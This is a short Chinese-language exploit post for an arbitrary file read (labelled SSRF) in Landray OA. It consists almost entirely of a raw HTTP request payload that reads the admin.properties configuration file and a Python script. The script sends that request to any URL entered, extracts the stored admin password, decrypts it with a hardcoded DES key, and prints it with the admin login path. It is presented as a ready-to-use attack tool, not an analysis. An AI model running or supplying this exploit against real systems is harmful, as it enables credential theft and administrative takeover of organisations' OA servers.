蓝凌OA系统存在任意文件读取（SSRF)

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: xxx.xxx.xxx.xxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=611A290CFE623E17EF4BFB89BA413020Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 62

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

import requestsimport sysimport refrom pyDes import des, ECB, PAD_PKCS5import base64from requests.packages.urllib3.exceptions import InsecureRequestWarning  #消除警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # 消除警告

url = input('输入url>>>:')if url.startswith('http:') != 1 and url.startswith('https:') != 1:    url = 'http://' + urlurl =url
def lanling2():     url1 =url    url2 =url1+'/sys/ui/extend/varkind/custom.jsp'    headers={    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",    "Content-Type":"application/x-www-form-urlencoded"            }    data='var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'    try:        r = requests.post(url=url2,headers=headers,data=data,verify=False,timeout=10)        if r.status_code == 200 and 'password' in r.text:            print(url+'存在蓝凌OA SSRF')            print('登录地址：'+url+'/admin.do')            data = r.text.strip()            data =str(data)            data1 = data.split()            data2 = ''.join(data1)            #print(data2)            password = re.findall(r"password=(.*?)\rkmss",data2,re.I | re.M)            password1 = str(password)            #print(password)            KEY = 'kmssAdmi'            try:                secret_key = KEY                iv = secret_key                k = des(secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)                decrystr = k.decrypt(base64.b64decode(password1))                #print(decrystr)                decrystr2 = str(decrystr, 'utf-8').strip(':')                print('++++++'+'后台密码为:' + decrystr2)            except Exception as e:                print('解密失败')
        else:            print(url+'不存在蓝凌OA SSRF')
    except Exception as e:        print(url+'异常退出')


lanling2()